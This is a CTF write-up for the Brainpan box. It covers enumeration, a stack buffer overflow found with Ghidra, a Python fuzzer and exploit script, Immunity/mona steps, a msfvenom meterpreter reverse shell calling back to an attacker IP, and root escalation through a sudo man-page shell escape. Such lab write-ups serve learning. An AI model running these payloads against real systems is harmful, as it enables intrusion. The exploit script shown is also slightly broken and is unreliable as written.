8 minute read

title About this box: An application running in wine… an intersting problem of what to use for debugging and explioiting.

Intro

Beginning this box, our first objective is to enmurate the machine with nmap. Using nmap -sV -Pn -sC -oN nmap ip will give us a thorough scan. nmap

From this nmap scan we can see that we have 2 open services. A simple python http server on port 10000, and a service named abyss on port 9999. Due to the output saying “Welcome To Brainpan”, it’s safe to assume that this is the application running on the server.

The File

Navigating to port 10000 on the box, we can see the following output.

index

At first this page looked kind of cool, maybe an injection somewhere?

Nope :sob:

Looking at the source, this page is nothing more than a image…

Time for gobuster: gobuster dir -w /usr/share/wordlist/rockyou.txt <ip>

This output gives us an endpoint named bin. Bin contains the brainpan1.exe so that we can test the exploit locally and see what happens behind the scenes.

Home set up

In order to not have to start and wait 1 min every time you would like to retry the payload you can follow these steps:

  1. download brainpan1.exe from the http server
  2. put the exe onto a windows vm/machine
    • ensure this machine and your host can talk
  3. boot up immunity debugger
  4. run away (import with file -> selecting brainpan.exe)
    • click play button to start then the « to stop/restart
  5. connect with nc windows machine ip 9999
    • find the machine ip with ipconfig - on windows
    • ip a linux

NOTE: If you are on a windows machine, you can run everything from the cmd connecting with ncat localhost 9999

Looking at the application on port 9999

Connecting to our application we get an output of what we saw in the nmap scan: “Welcome to Brainpan: Enter the Password”. Now, we don’t know the password. However, within ghidra it tells us that the password is shitstorm.

What does this password do?

Nothing, this password is meant to throw people in the wrong direction.

pwfn

This is the code that handles the login. Currently no matter if the password is good, bad, or nonexistant the application is told to close the socket after it gets input.

Finding the bad function

Looking through ghidra, I happened to spot this function (the function name is custom).

badfn

Now, what makes this a bad function?

The probably_b_ovflw (what I named it), function is what actually invokes the overflow. This is due to it using the insecure strcpy function that allows us to tamper with memory addresses. We can see that the variable that gets pased to the overflow function has a size of 520 bytes, allowing us a starting point to find the overflow size.

Fuzzing

Fuzzing allows us to find the offset (how much to push the payload) so that we trick the app to running our code.

The fuzz script I used:

import socket, time, sys

ip = "192.168.3.129"

port = 9999
timeout = 5
prefix = ""

string = prefix + "A" * 2000
def send_name(s):
    sent=False
    name=""
    if not sent:
        print("sent name {}".format(name))
        sent=True
        s.send(bytes(name + "\r\n", "latin-1"))

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            s.connect((ip, port))
            s.recv(1024)
            s.send(bytes("" + "\r\n", "latin-1"))
            print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
            s.send(bytes(string + "\r\n", "latin-1"))
            s.recv(1024)
    except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
    string += 100 * "A"
    time.sleep(1)

Why fuzz?

We are sending bytes to the server in order to make it crash to see where we can start our payload.

This all works by escaping the buffer for a variable and pushing the data we want to an area we can write/execute. :wink:

Fuzzing

In order to fuzz we’ll run python3 fuzz.py, returning an output of bytes:

bytes

In our case runing the fuzz.py we get the crash output near 518.

Now that we have the value that crashes the app, we can add roughly 400 to the number and generate a payload with something like:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 900 | xclip -sel c

This is called a cyclic pattern, this pattern allows us to find the memory address that we are at when this executes. This allows us to then change the payload to something mallicious and keep it in the correct spot to execute.

Finding the offset

import socket
import time

ip = "192.168.3.129"
port = 9999

prefix = ""
offset = 0
overflow = "A" * offset
retn = "BBBB"
# retn = "\xDF\x14\x50\x62"
# padding = "\x90" * 16
padding = ""
name = ""
payload = ""
# payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((ip, port))
    print("Sending exploit")
    send_name(s)
    time.sleep(1)
    s.send(bytes("" + \r\n", "latin-1"))
    s.send(bytes("%s\r\n" %buffer, "latin-1"))
    print("Done!")
except:
    print("Could not connect.")

Enter the cyclic pattern in the variable payload and then execute the script python exploit.py. (ensure the chatserver is on)

Moving over to Immunity Debugger(ID) we can see that the app crashed. We can now use the mona command in the bottom console with !mona findmsp -distance 900.

This outputs:

offset

The offset is important because we need this to push the payload into the correct portion of the app.

Now, update the offset of your payload to 524.

Finding Bad Characters

Since we can push our payload to the correct position, it’s time to find the bad characters in this app. (This is important due to apps messing up characters or just not support them).

Within the payload I gave you I already included a line with all of the ascii charaters that are possible so go uncomment it. (It’s the big string that is after the var payload). :flushed:

Restart the app in ID, then run python exploit.py

Next, go over to ID and run the command !mona bytearray -b "\x00". This will create the same characters that we have in exploit.py so we can compare them, this lets us know what gets corrupted in transit.

Compare them with !mona compare -f bytearray.bin -a <ESP Address>

For this specific app we are told that “\x00\x01\x02\x03\x04” are bad characters.

Jmp time

Now we need the jmp address, this makes sure that the app stays running when the exploit is sent.

To find this we can use !mona jmp -r esp -b "\x00\x01\x02\x03\x04"

Now select any of the addresses in the log output and write it BACKWARDS like so:
311712f3 = \xf3\x12\x17\x31

Setting the return value to the jmp address instead of BBBB

Payload time

Due to this application being in windows we will have to create the payload 1st for windows, allowing us to test the application 1st and then be able to replicate it in a linux env.

You can find my description to this problem here

Now that we know this we can make a payload with msfvenom:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.13.53.1 LPORT=4444 EXITFUNC=thread -b "\x00\x01\x02\x03\x04" -f py -v payload

-b is the flag to black-list bytes
-f allows us to specify the language -v changes the var name

Remove the other payloads that exist and put this into the script. MAKE SURE TO REMOVE THE b in "payload = b'data'", if following along

Spin up a nc -lvnp 4444 and restart the app and run the exploit.

First user

Now that we have a user we can run whoami, and get the user puck. Puck can’t do much, however we do have the ablilty to run anansi_util from anansi’s home directory. This is found by running sudo -l as seen below.

sudo

Now, finding this is no small feat. We can run passwordless a sudo command. Lets see what happens if we run it.

help

Alright, we have network, proclist and manual.

Running each one of these, we can see this application allows us to run these commands as the sudo user that we wouldn’t be able to run otherwise. The entry manual [command] is particularly interesting.

If we run the manual command with nothing, we get the error “error command not found”, or if it does exist we get the man page for that entry.

Navigating to gtfo bins we can see this output for the man command:

man

Now this is interesting, spawn an interactive shell and break out of the environment.

Root user

Now that we know that there is a pretty serious vulnerability in the man pages AND we have a root user that can run it. Time to exploit :clock12:

Run:

  1. sudo /home/anansi/bin/anasi_util manual man
    • this allows us to enter the manual pages
  2. !/bin/bash
    • Now the root user

Cat the user and root flag in their respective directories and your completed!!!

What I learned

  • Wine has it’s own built in debugger
  • GBD has an extension packege named GEF
  • Man pages running sudo is a vulnerability for some reason
  • Apps running within wine still have linux underbelly

– Ryu out

P.S. Below is my time trying to figure out why my exploit kept crashing :skull:, feel free to check it out!

Wine Trouble

Windows exe running in a wine environment. We can tell that it is wine, due to an nmap -A (host scan) telling us that we are in a linux environment.

I ran into all sorts of problems when trying to finalize the exploit. I could exploit on the windows machine (but crash), exploit on the linux machine (also crashing), I got the windows to not crash, but turns out that in order for this to work we need to be in a 32 bit format.

Pre 32

Before I found out that I needed to use 32-bit, I looked into the other insecure methods that the app was using, such as strlen. This method, if given enough input would completely skip the length check and return 0. This I thought was important due to the application saying granted/denied. However, this proved false seeing that the app would terminate the connection no matter the output.

Post 32

After figuring out that I needed the exploit in 32-bit, I remade the payload in msfvenom and sent it. This time it didn’t crash. I was so happy. I went back to the actual exploit AND DIDN’T CHANGE IT TO LINUX. So, I was trying to run a windows exploit in a linux machine. This made me go as far as try to reverse engineer wine to get a shell that way. However, after a little more prodding I found my mistake, changed it to a linux payload and it all was smooth sailing.

K, if came from above time to go back to payload time